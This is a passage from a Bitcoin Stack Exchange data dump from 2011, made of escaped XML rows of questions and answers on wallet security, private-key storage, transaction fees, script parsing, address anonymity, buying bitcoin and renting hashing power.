compromised&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the event of a full server breach the attacker may be able to alter the javascript code or website code to send him an unencrypted copy of the keys next time you login. This type of attack is generally less common than database leaks and to have any significant effect would need to go unnoticed by the site operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You forget your password&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As your password is never sent to the server the site owner cannot offer a password recovery procedure. In the event of a lost password your key(s) will be unusable. Paper wallet backups can help with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Key logger or virus&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a key logger or virus on your computer it is possible to that it could intercept your password which the attacker can then use to login to your wallet and spend your coins. Traditional desktop wallets are also vulnerable to this. My Wallet is less vulnerable to this as the site supports &lt;a href=&quot;https://blockchain.info/wallet/yubikey&quot;&gt;yubikey&lt;/a&gt; two factor authentication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One final note: Using My Wallet you can add your Bitcoin address only without the associated private key. If you then keep a paper wallet backup of your private key even in the event your account is compromised there is nothing to steal.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastEditorUserId="659" LastEditDate="2012-02-17T09:32:34.770" LastActivityDate="2012-02-17T09:32:34.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2245" PostTypeId="1" AcceptedAnswerId="2248" CreationDate="2011-12-15T12:12:48.010" Score="17" ViewCount="2519" Body="&lt;p&gt;What is the safest medium on which to store my wallet/private keys?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I avoid eWallets like the plague.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my wallet on my computer at the moment with the Bitcoin passphrase encryption and I have a few backups on different harddrives/USB drives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But USB drives don't seem to be the most reliable thing to store wallets on, and I want to move my wallet off my computer for improved safety, so I was looking at paper wallets and they seem good apart from if they deteriorate over time, or from things like water damage etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CDs seem okay to use but they can also get scratched and can't be updated once burnt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also rather avoid cloud file services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A plastic card that I could print my public/private keys on seemed like a good idea, but this would have to be printed by a third party as card printers are expensive, unless there's somewhere I can go to do it myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any recommendations on the safest medium to store Bitcoins on?&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2017-08-28T18:17:02.560" Title="What is the safest medium on which to store my wallet/private keys?" Tags="|security|wallet|safety|storage|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2246" PostTypeId="2" ParentId="2245" CreationDate="2011-12-15T14:03:50.343" Score="3" Body="&lt;p&gt;You probably should ask this question on other Stack Exchanges, like Super User, as the question is not specific to Bitcoins really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Safest place to store your wallet key would be in your memory, if you are a type that can recall a long string of digits many years later. You could try using some mnemonic tricks, like encoding the numbers in a poem with number of letters in each word corresponding to a given number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want something tangible, you should look into putting the key on some medium that does not deteriorate over a long period of time. You can try scratching it into a sheet of plastic, or using some soldering iron to melt it in. You could also go for carving it in stone or cement block, but that would start to get a bit excessive. You can always get a laminating device, print your wallet as a QR code and laminate it, should work well enough while not being too expensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It all boils down to how much time and money you want to spend securing your wallet and what hazards you want to protect it from.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-15T14:03:50.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2247" PostTypeId="2" ParentId="2245" CreationDate="2011-12-15T14:05:33.127" Score="2" Body="&lt;p&gt;I used &lt;a href=&quot;http://www.scribd.com/doc/61649663/Bitcoin-Safe-Usage-v05&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; to backup my Bitcoins for long-term storage. The basic steps are as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a Linux LiveCD&lt;/li&gt;&#xA;&lt;li&gt;Put a TrueCrypt installer on a USB key (or embed it in the above installation)&lt;/li&gt;&#xA;&lt;li&gt;Boot the live CD and install TrueCrypt&lt;/li&gt;&#xA;&lt;li&gt;Create two TrueCrypt volumes, one 4 GB with an easy password, another smaller one with a unique ultra-long password&lt;/li&gt;&#xA;&lt;li&gt;Mount the large volume and install Bitcoin in it&lt;/li&gt;&#xA;&lt;li&gt;Start Bitcoin and let the blockchain populate and the Wallet.dat be created&lt;/li&gt;&#xA;&lt;li&gt;Copy down some of the public addresses&lt;/li&gt;&#xA;&lt;li&gt;Close Bitcoin and &lt;em&gt;move&lt;/em&gt; the wallet.dat into the smaller ultra-secure volume&lt;/li&gt;&#xA;&lt;li&gt;Unmount both volumes, store the smaller volume in the cloud or on physical media&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The advantages of this method are as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;With a static live-cd you are guaranteed an un-corrupted/virus-free operating system&lt;/li&gt;&#xA;&lt;li&gt;Your un-encrypted Bitcoin wallet is &lt;em&gt;never&lt;/em&gt; stored to physical media (that's just the way TrueCrypt volumes work)&lt;/li&gt;&#xA;&lt;li&gt;You can backup the small volume containing your wallet anywhere you want because it's tiny and protected by an ultra-secure password&lt;/li&gt;&#xA;&lt;li&gt;You can send Bitcoins to this backup wallet any time you want with the addresses you saved&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To access the Bitcoins in the future:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Boot the live CD/install TruCrypt&lt;/li&gt;&#xA;&lt;li&gt;Mount both volumes, and copy the Wallet.dat into the large volume&lt;/li&gt;&#xA;&lt;li&gt;Start Bitcoin and then you have access to your Bitcoins&lt;/li&gt;&#xA;&lt;li&gt;Remember to delete the Wallet.dat from the larger volume before shutting down&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="701" LastActivityDate="2011-12-15T14:05:33.127" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2248" PostTypeId="2" ParentId="2245" CreationDate="2011-12-15T14:29:00.257" Score="7" Body="&lt;p&gt;Print out your private keys to a &lt;a href=&quot;https://en.bitcoin.it/wiki/Securing_your_wallet#Paper_Wallets&quot;&gt;Paper Wallet&lt;/a&gt; and print the keys on &lt;a href=&quot;http://www.my-history.co.uk/acatalog/Archive_Quality_Papers.html&quot;&gt;Archival Quality Paper&lt;/a&gt;. Those should last until the year 2211. They are however un-encrypted so you should store them in a bank safety-deposit-box or somewhere just as safe.&lt;/p&gt;&#xA;" OwnerUserId="701" LastActivityDate="2011-12-15T14:29:00.257" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2249" PostTypeId="1" AcceptedAnswerId="2250" CreationDate="2011-12-15T19:04:56.673" Score="7" ViewCount="246" Body="&lt;p&gt;Given a &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot;&gt;Tx message&lt;/a&gt;, how does one calculate how big a fee one paid for the transaction?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-03-05T22:10:56.260" Title="Given a Tx message, how does one calculate the fee paid for the transaction?" Tags="|transactions|protocol|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2250" PostTypeId="2" ParentId="2249" CreationDate="2011-12-15T19:33:35.573" Score="5" Body="&lt;p&gt;Use the following pseudocode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TotalOutputValue = 0&#xA;For each Output in tx_out array&#xA;  TotalOutputValue += Output[value]&#xA;TotalInputValue = 0&#xA;For each Input in tx_in array&#xA;  PreviousOutput = Input[previous_output]&#xA;  PreviousTransaction = PreviousOutput[hash]&#xA;  OutputIndex = PreviousOutput[index]&#xA;  Look up the transaction with hash PreviousTransaction&#xA;  Output = The output with index OutputIndex in that transaction&#xA;  TotalInputValue += Output[value]&#xA;Fee = TotalInputValue - TotalOutputValue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-12-15T19:33:35.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2251" PostTypeId="1" AcceptedAnswerId="2252" CreationDate="2011-12-15T21:50:12.490" Score="8" ViewCount="4626" Body="&lt;p&gt;Is there some good example on how to process a basic tx's scriptsig and get the recipient's address from the raw transaction?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-16T12:58:10.227" Title="Bitcoin script example" Tags="|transactions|protocol|address|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2252" PostTypeId="2" ParentId="2251" CreationDate="2011-12-16T05:11:15.360" Score="7" Body="&lt;p&gt;In the output there is a field &quot;scriptPubKey&quot; that for a standard transaction looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH160 62e907b15cbf27d5425399ebf6f0fb50ebb88f18 OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The hex number is what you get the address from; this is the result of step #3 in &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&lt;/a&gt;. To get the address continue the process in that example. (Though, arguably the hardest part is calculating &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;noreferrer&quot;&gt;Base58Check&lt;/a&gt;, for which an example is not given.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also relevant is &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Standard_Transaction_to_Bitcoin_address&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Script#Standard_Transaction_to_Bitcoin_address&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2011-12-16T12:58:10.227" LastActivityDate="2011-12-16T12:58:10.227" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2253" PostTypeId="2" ParentId="256" CreationDate="2011-12-16T16:26:01.627" Score="6" Body="&lt;p&gt;A nation State would never adopt Bitcoin willingly because the government would lose control over the ability to inflate the money supply.  Inflation is nothing more than a tax.  No government will ever willingly give up its primary means of stealing from the public.  The inflation tax is the most insidious and the easiest for government to get away with.  It is much more difficult to force people to hand over their money than it is to simply print new money.  Historical charts of US tax revenue show that no matter what rate the government sets taxes at, revenues always come in at around 20% of GDP.  This means that if the government wants to spend above 20% of GDP they must inflate the money supply as people will simply scam the tax system at higher rates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, it would be ridiculous for any coercively funded government to implement its own version of Bitcoin that they retain control of, because once people found out that an identical open source currency system existed that had no inflation, they would use that system instead.  Once an economy has been restructured to use crypto-currencies, no one in their right mind would chose to use the government issued currency when they could use Bitcoins instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, a State implementation of crypto-currency will never occur.  However, because Bitcoin has so many advantages over State issued currency and the fact that its exchange rates can not be controlled by a State, it is highly likely that over time Bitcoin will become the dominate global currency.  This is because taxation can be avoided with Bitcoins, which allows businesses to by-pass legal tender laws. &lt;a href=&quot;http://en.wikipedia.org/wiki/Gresham%27s_law#Reverse_of_Gresham.27s_Law_.28Thiers.27_Law.29&quot;&gt;According to Thier's law&lt;/a&gt;, in the absence of legal tender laws, good money will drive out bad money.&lt;/p&gt;&#xA;" OwnerUserId="793" LastEditorUserId="117" LastEditDate="2011-12-16T18:21:54.370" LastActivityDate="2011-12-16T18:21:54.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2254" PostTypeId="1" CreationDate="2011-12-16T23:40:03.417" Score="13" ViewCount="6874" Body="&lt;p&gt;I have a private key and I want to add it to the keys in the Bitcoin client.  Is there an easy way to do this?&lt;/p&gt;&#xA;" OwnerUserId="662" LastActivityDate="2014-08-10T08:36:28.453" Title="How can I import a private key into the Bitcoin client?" Tags="|bitcoin-core|" AnswerCount="2" CommentCount="0" ClosedDate="2014-02-26T02:55:54.063" ContentLicense="CC BY-SA 3.0" />
  <row Id="2255" PostTypeId="2" ParentId="2254" CreationDate="2011-12-17T01:06:47.770" Score="7" Body="&lt;p&gt;Importing could be done with &lt;a href=&quot;https://bitcointalk.org/index.php?topic=34028.0&quot;&gt;Pywallet&lt;/a&gt; or hopefully soon-to-be-official &lt;a href=&quot;https://bitcointalk.org/index.php?topic=8091.0&quot;&gt;wallet export/import bitcoin patch&lt;/a&gt;, but make sure to backup your wallet first.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2011-12-17T01:06:47.770" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2256" PostTypeId="2" ParentId="2245" CreationDate="2011-12-17T03:52:05.270" Score="2" Body="&lt;p&gt;my personal choice to have a secure online bitcoin wallet is :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;having a very secure dedicated server ( gentoo hardened, grsecurity kernel . . . ) &lt;/li&gt;&#xA;&lt;li&gt;having my wallet on a ssh account ( with a very secure password, lowercase, uppercase and numbers in the password ) on that secure dedicated server&lt;/li&gt;&#xA;&lt;li&gt;having backups of my wallet on other dedicated servers&lt;/li&gt;&#xA;&lt;li&gt;using ssh from everywhere ( now even martphones have ssh client apps ) to connect and use my wallet&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="558" LastActivityDate="2011-12-17T03:52:05.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2257" PostTypeId="2" ParentId="2249" CreationDate="2011-12-17T04:07:53.713" Score="0" Body="&lt;p&gt;you will find more details ( and less technical than pseudocode ) concerning the fee structure on : &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt;&#xA; see also &lt;a href=&quot;https://en.bitcoin.it/wiki/Free_transaction_relay_policy&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Free_transaction_relay_policy&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="558" LastEditorUserId="558" LastEditDate="2012-03-02T03:48:03.077" LastActivityDate="2012-03-02T03:48:03.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2258" PostTypeId="2" ParentId="2228" CreationDate="2011-12-17T04:39:51.057" Score="5" Body="&lt;p&gt;I'd just say Bitcoin is like cash, Bitcoin is online cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, &quot;the vast majority of money launderers seem to prefer cash&quot;, but since bitcoin is mostly like cash, I'd say Bitcoin could be useful for them as much as the dollar or any other cash money.&lt;/p&gt;&#xA;" OwnerUserId="558" LastEditorUserId="5406" LastEditDate="2015-01-13T13:56:16.263" LastActivityDate="2015-01-13T13:56:16.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2259" PostTypeId="1" CreationDate="2011-12-17T13:19:50.893" Score="6" ViewCount="681" Body="&lt;p&gt;I remember that before the Euro was first introduced, I read estimates on how much economical benefit every person would get (GDP per capita) once the Euro was fully implemented. Estimates like these were used in the cost/benefit analysis used for deciding whether or not it was worth the trouble of creating the Euro at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess they didn't include the risk of a Euro-collapse and the related costs, but nevertheless, it was an estimate. I do not know whether this question is too speculative, but it is truly the most interesting question I can think of. If it would be too difficult to estimate for the whole world, then an estimate for a region would also be interesting.&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="6" LastEditDate="2011-12-17T15:39:16.330" LastActivityDate="2011-12-17T15:39:16.330" Title="What would be an estimate of the value gained if the whole world started using Bitcoins?" Tags="|bitcoin-economy|economic-theory|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2260" PostTypeId="2" ParentId="2259" CreationDate="2011-12-17T14:59:18.627" Score="3" Body="&lt;p&gt;According to &lt;a href=&quot;http://xkcd.com/980/&quot; rel=&quot;nofollow&quot;&gt;xkcd: Money Chart&lt;/a&gt; estimated total economic production of the human race as of 2011 is $2,396,950,000,000,000 . Divide it by 21 million and the theoretical maximum price per bitcoin would be $114,140,476, but that figure is impossible, because for one, even in best case scenario Bitcoin will co-exist and compete with other currencies and would have only a small share of the pie. Second, Bitcoin is more efficient medium of exchange then USD, in other words, to complete transaction a someone required to hold bitcoins for shorter period of time therefore less total amount of bitcoins would be required for circulation and that also means lower price.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2011-12-17T14:59:18.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2261" PostTypeId="1" CreationDate="2011-12-17T18:45:15.047" Score="16" ViewCount="1022" Body="&lt;p&gt;I'm using bitcoinsharp to build my client. I try to download the blockchain in a peergroup network. Download starts, but when progress is 98%, the download is stopped &amp;amp; the client is waiting (2 hours without any change). The size of the downloaded blockchain file is 4.5 MB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PeerGroup peerGroup = new PeerGroup(blockStore, @params, chain);&#xA;peerGroup.AddAddress(new PeerAddress(IPAddress.Parse(&quot;84.38.65.102&quot;)));&#xA;peerGroup.AddAddress(new PeerAddress(IPAddress.Parse(&quot;83.23.15.71&quot;)));&#xA;peerGroup.Start();&#xA;peerGroup.DownloadBlockChain();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="783" LastEditorUserId="120" LastEditDate="2013-01-04T15:02:57.043" LastActivityDate="2019-08-10T13:03:00.420" Title="Peergroup download of the blockchain stalls?" Tags="|blockchain|client|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2262" PostTypeId="1" AcceptedAnswerId="2265" CreationDate="2011-12-17T22:40:32.950" Score="6" ViewCount="636" Body="&lt;p&gt;I'm new to bitcoins and I was wondering; if I generate an address, add money to it (from MtGox for example), remove the address and use another address in the future. Would it be possible to link those two addresses together?&lt;br&gt;&#xA;Or would I be perfectly safe (anonymous)?&lt;/p&gt;&#xA;" OwnerUserId="796" LastActivityDate="2011-12-18T23:25:06.723" Title="Two bitcoin addresses - Can you link them together?" Tags="|security|address|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2263" PostTypeId="2" ParentId="2262" CreationDate="2011-12-17T22:52:08.483" Score="-1" Body="&lt;p&gt;Bitcoins are tied to a specific address, it is not possible to link addresses together. You can send coins from one address to another, provided you have the private key for the first one. If you lose the private key, those coins are lost, they effectively can't be recovered, ever.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5" LastEditDate="2011-12-18T00:52:05.743" LastActivityDate="2011-12-18T00:52:05.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2265" PostTypeId="2" ParentId="2262" CreationDate="2011-12-18T05:59:30.043" Score="6" Body="&lt;p&gt;You will not be anonymous unless you take special measures to make it so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you simply not use the old address to receive new payments, in all likelihood there will be a point where the client will combine outputs from this address and your new addresses, and this will indicate that the addresses belong to the same person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be somewhat better if you send all the coins from the old address to a new one (with change, so the amount you should send is lower than the total). Then everyone will know that coins moved from the old address to the new one, but they can't tell if they both belong to you or if this was a payment to another party.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-12-18T05:59:30.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2266" PostTypeId="1" CreationDate="2011-12-18T15:47:10.687" Score="17" ViewCount="48082" Body="&lt;p&gt;I've got active connections &amp;amp; there are blocks downloaded but I don't know what to do next. Presumably I need to transfer some money in there so I can buy bitcoins. But how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions gratefully relieved. &#xA;Thanks. &lt;/p&gt;&#xA;" OwnerUserId="798" LastEditorUserId="575" LastEditDate="2011-12-18T16:28:23.060" LastActivityDate="2015-03-27T21:55:44.537" Title="Got the Bitcoin Wallet. How do I transfer money into it?" Tags="|wallet|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2267" PostTypeId="2" ParentId="2266" CreationDate="2011-12-18T16:22:00.157" Score="12" Body="&lt;p&gt;It is not possible to buy bitcoins from inside the client. What you need to do is this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Find someone that you can buy bitcoins from. One way is to use an exchange, such as &lt;a href=&quot;http://www.mtgox.com&quot;&gt;Mt.Gox&lt;/a&gt;, that let's you deposit USD (or some other currency) and then buy bitcoins.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the Bitcoin client (assuming you use the original client from bitcoin.org), get a Bitcoin address from the &quot;Receive coins&quot; tab (&quot;New address...&quot;). Using a new address for each transfer will increase your anonymity.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Transfer the bitcoins you bought to your new Bitcoin address. If you use Mt.Gox you would use the &quot;withdraw&quot; option. The bitcoins will then show up in your client.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-12-18T16:22:00.157" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2268" PostTypeId="1" AcceptedAnswerId="11494" CreationDate="2011-12-18T17:22:35.453" Score="3" ViewCount="1780" Body="&lt;p&gt;Is there any LiteCoin binary precompiled for Linux?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would prefer staticaly linked but would also dynamicaly linked a try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A plus is given for a .deb archive, two pluses for a ppa or other possibility to integrate it into ubuntu 11.10 packagemanagement.&lt;/p&gt;&#xA;" OwnerUserId="602" LastActivityDate="2013-06-05T18:23:52.963" Title="Litecoin binary for Linux" Tags="|litecoin|linux|compiling|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2269" PostTypeId="1" AcceptedAnswerId="2276" CreationDate="2011-12-18T23:42:47.867" Score="11" ViewCount="13516" Body="&lt;p&gt;I have seen some people on the bitcointalk forum looking for hashing power to rent (&lt;a href=&quot;https://bitcointalk.org/index.php?topic=41823.0&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; is one example) and usually they pay more to rent the rig than they would earn by selling the mined coins at market price.&lt;br&gt;&#xA;It seems to me that they are losing money with the deal so why would someone want to do this? Are there other uses for the hashing power besides bitcoin generation?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5406" LastEditDate="2016-02-02T08:27:07.347" LastActivityDate="2016-07-23T21:31:44.470" Title="Why would someone rent hashing power?" Tags="|gpu|cloud-mining|" AnswerCount="6" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2270" PostTypeId="2" ParentId="2269" CreationDate="2011-12-18T23:58:06.400" Score="2" Body="&lt;p&gt;If one could enter into a long term agreement at a particular price for renting the equipment, then they would benefit from any increases in the exchange rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't think of any other reason, but others might.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2011-12-18T23:58:06.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2271" PostTypeId="2" ParentId="2228" CreationDate="2011-12-19T00:32:30.060" Score="3" Body="&lt;p&gt;Yes you can use it for money laundering. There are many people who sell bitcoin anonymously for cash. Just look at the sites that list the local buyers and sellers of bitcoin... For example I'm offering to sell bitcoin to anyone in my area for cash for up to $1000. It's not so much, and that's all I have, but there are people with more bitcoin and they can do the same.&lt;/p&gt;&#xA;" OwnerUserId="800" LastActivityDate="2011-12-19T00:32:30.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2272" PostTypeId="2" ParentId="2228" CreationDate="2011-12-19T01:20:19.010" Score="4" Body="&lt;p&gt;I think Bitcoins could be used for money laundering however it would be hard to purchase for cash in large enough quantities to make it worthwhile.  One person here commented that there are those who would sell Bitcoins up to $1000 US at a time.  That's small stuff to those that need to launder money.&lt;/p&gt;&#xA;" OwnerUserId="801" LastEditorUserId="5406" LastEditDate="2015-01-13T13:57:55.927" LastActivityDate="2015-01-13T13:57:55.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2273" PostTypeId="1" CreationDate="2011-12-19T02:04:35.800" Score="10" ViewCount="406" Body="&lt;p&gt;To avoid the problems caused by the current SSL certificate infrastructure, the Electronic Frontier Foundation has proposed &lt;a href=&quot;https://www.eff.org/deeplinks/2011/11/sovereign-keys-proposal-make-https-and-email-more-secure&quot;&gt;Sovereign Keys&lt;/a&gt;, which appears to be backed by a distributed, append-only datastructure that can grow to hundreds of gigabytes. That sounds awfully familiar to a block chain. Are there similarities between Sovereign Key and Bitcoin (or Namecoin)? Do they employ a related approach or is this just a superficial similarity?&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="196" LastEditDate="2013-03-03T14:02:31.053" LastActivityDate="2013-03-03T14:02:31.053" Title="Is EFF's proposed Sovereign Key system similar to how Namecoin/Bitcoin works?" Tags="|blockchain|namecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2274" PostTypeId="2" ParentId="2273" CreationDate="2011-12-19T07:25:50.567" Score="5" Body="&lt;p&gt;No.  Sovereign keys are simply a technical mechanism to use the &lt;a href=&quot;http://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions#Trust_anchors_and_authentication_chains&quot;&gt;DNSSEC trust anchors&lt;/a&gt; instead of companies like Verisign.  Trust is still centralized; it's just centralized in a different place.&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2011-12-19T07:25:50.567" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2275" PostTypeId="2" ParentId="2269" CreationDate="2011-12-19T07:29:14.370" Score="3" Body="&lt;p&gt;There are two main reasons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The person wants to build the hash rate for an alternative currency or mining pool in which they have a financial interest. You can't get a mining pool or alternate currency going without hashing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The person wants to mine something other than Bitcoins, typically a currency that isn't yet available on any exchange. So hiring mining power is the only way to get the currency.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-12-19T07:29:14.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2276" PostTypeId="2" ParentId="2269" CreationDate="2011-12-19T10:30:06.957" Score="11" Body="&lt;ol&gt;&#xA;&lt;li&gt;The person hopes that the future ratio of how much money they can earn with a given hash power will be more favourable, so they enter a long-term contract.&lt;/li&gt;&#xA;&lt;li&gt;The person wants to increase the hashrate of a mining pool they own, whether for test purposes or to attract more people with a high hashrate.&lt;/li&gt;&#xA;&lt;li&gt;The person holds some other cryptocoins and wishes for their price to increase due to higher difficulty the extra hashing power would bring.&lt;/li&gt;&#xA;&lt;li&gt;The person wants to mine coins, be they Bitcoins or otherwise instead of buying them at an exchange (one may not exist, or the person does not want to use it for some reason).&lt;/li&gt;&#xA;&lt;li&gt;The person wants to do other activity that can use hashpower for. The person would need to make special arrangements with the owner of the rig, but it could be possible to use the hashpower for generating vanity addresses for example.&lt;/li&gt;&#xA;&lt;li&gt;The person wants to launch a 51% attack on a smaller cryptocoin network.&lt;/li&gt;&#xA;&lt;li&gt;To commit money laundering. Renting hashpower is not regulated under anti-money-laundering laws like the exchanges. On the other hand, the mined coins can't be traced back, so they can be sold at any exchange with ease.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-01-26T00:42:28.033" LastActivityDate="2012-01-26T00:42:28.033" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2277" PostTypeId="2" ParentId="2269" CreationDate="2011-12-19T11:40:54.480" Score="3" Body="&lt;p&gt;Some possibilities:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Pool-hopping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Password cracking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Supporting a specific mining pool / alternative blockchain currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Betting on the difficulty decreasing (relatively to the exchange rate), and securing a long-term contract which will be profitable in that contingency.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-12-19T11:40:54.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
